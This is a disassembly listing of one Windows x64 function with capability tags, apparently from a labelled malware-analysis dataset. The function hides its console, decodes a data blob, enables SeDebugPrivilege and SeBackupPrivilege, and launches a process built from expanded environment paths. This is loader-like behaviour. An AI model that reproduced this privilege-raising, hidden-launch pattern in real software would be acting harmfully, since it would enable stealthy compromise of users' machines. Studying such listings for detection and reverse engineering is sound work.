Function at 0x140004150
Capabilities:
Acquire debug privileges
Create process on windows
Query environment variable

Disassembly:
push rdi
mov eax, 0x1730
call fcn.140010dc0
sub rsp, rax
xor eax, eax
cmp eax, 1
je 0x14000453a
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [rsp + 0x58], 0x40
mov dword [rsp + 0x5c], 0x40
movsxd rax, dword [rsp + 0x58]
mov qword [rsp + 0x78], rax
lea rcx, [0x140064430]
call fcn.14000bf80
mov rcx, qword [rsp + 0x78]
mov r8, rcx
lea rdx, [rsp + 0x180]
mov rcx, rax
call fcn.1400040a0
movsxd rax, dword [rsp + 0x5c]
mov qword [rsp + 0x80], rax
lea rcx, [0x140064450]
call fcn.14000bf80
mov rcx, qword [rsp + 0x80]
mov r8, rcx
lea rdx, [rsp + 0x130]
mov rcx, rax
call fcn.1400040a0
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x350]
call fcn.140001e00
mov r8d, 0x20200
lea rdx, section..data
lea rcx, [rsp + 0x350]
call fcn.140001fa0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov r8d, 1
lea rdx, str.SeBackupPrivilege
mov rcx, qword [rsp + 0x68]
call fcn.140001560
mov r8d, 1
lea rdx, str.SeDebugPrivilege
mov rcx, qword [rsp + 0x68]
call fcn.140001560
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x50]
call fcn.140004550
lea rcx, [rsp + 0xb8]
call fcn.14000bfa0
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [rsp + 0x60], eax
lea rcx, [rsp + 0xb8]
call fcn.14000bfa0
mov ecx, dword [rsp + 0x60]
mov r8d, ecx
lea rdx, [rsp + 0x520]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea r9, [0x1400336ec]
mov r8d, 0x20200
lea rdx, [rsp + 0x520]
lea rcx, section..data
call fcn.1400017a0
mov r8d, 0x104
lea rdx, [rsp + 0x410]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0x98]
call fcn.140006bd0
lea rax, [rsp + 0x51]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x98]
call fcn.14000eca0
mov qword [rsp + 0x88], rax
lea rdx, [rsp + 0x54]
lea rcx, [rsp + 0x51]
call fcn.1400045c0
mov rcx, rax
call fcn.1400085c0
mov r8, 0xffffffffffffffff
mov rdx, rax
lea rcx, [rsp + 0x98]
call fcn.14000d700
inc rax
mov rcx, qword [rsp + 0x88]
mov r9, rcx
mov r8, rax
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x98]
call fcn.14000ee20
lea rcx, [rsp + 0x54]
call fcn.140007da0
lea rax, [rsp + 0x52]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x52]
call fcn.140004600
mov rcx, rax
call fcn.1400085e0
mov r8d, 0x104
lea rdx, [rsp + 0x240]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea rcx, [rsp + 0xd8]
call fcn.140007de0
lea rax, [rsp + 0x53]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0xf0]
call fcn.14000bf80
mov qword [rsp + 0x90], rax
lea rdx, [rsp + 0x56]
lea rcx, [rsp + 0x53]
call fcn.1400046a0
mov rcx, rax
call fcn.1400085c0
lea rcx, [rsp + 0x240]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x240]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x90]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x240]
mov r8, rax
mov edx, 0x1000
lea rcx, [rsp + 0x730]
call fcn.14000f5b0
lea rcx, [rsp + 0x56]
call fcn.140007da0
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x1d0]
call fcn.140011ec0
mov dword [rsp + 0x1d0], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x110]
call fcn.140011ec0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000020
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x730]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x64], 0
lea rcx, [rsp + 0xf0]
call fcn.140007c50
lea rcx, [rsp + 0x98]
call fcn.140007c50
lea rcx, [rsp + 0xb8]
call fcn.140007c80
mov eax, dword [rsp + 0x64]
add rsp, 0x1730
pop rdi
ret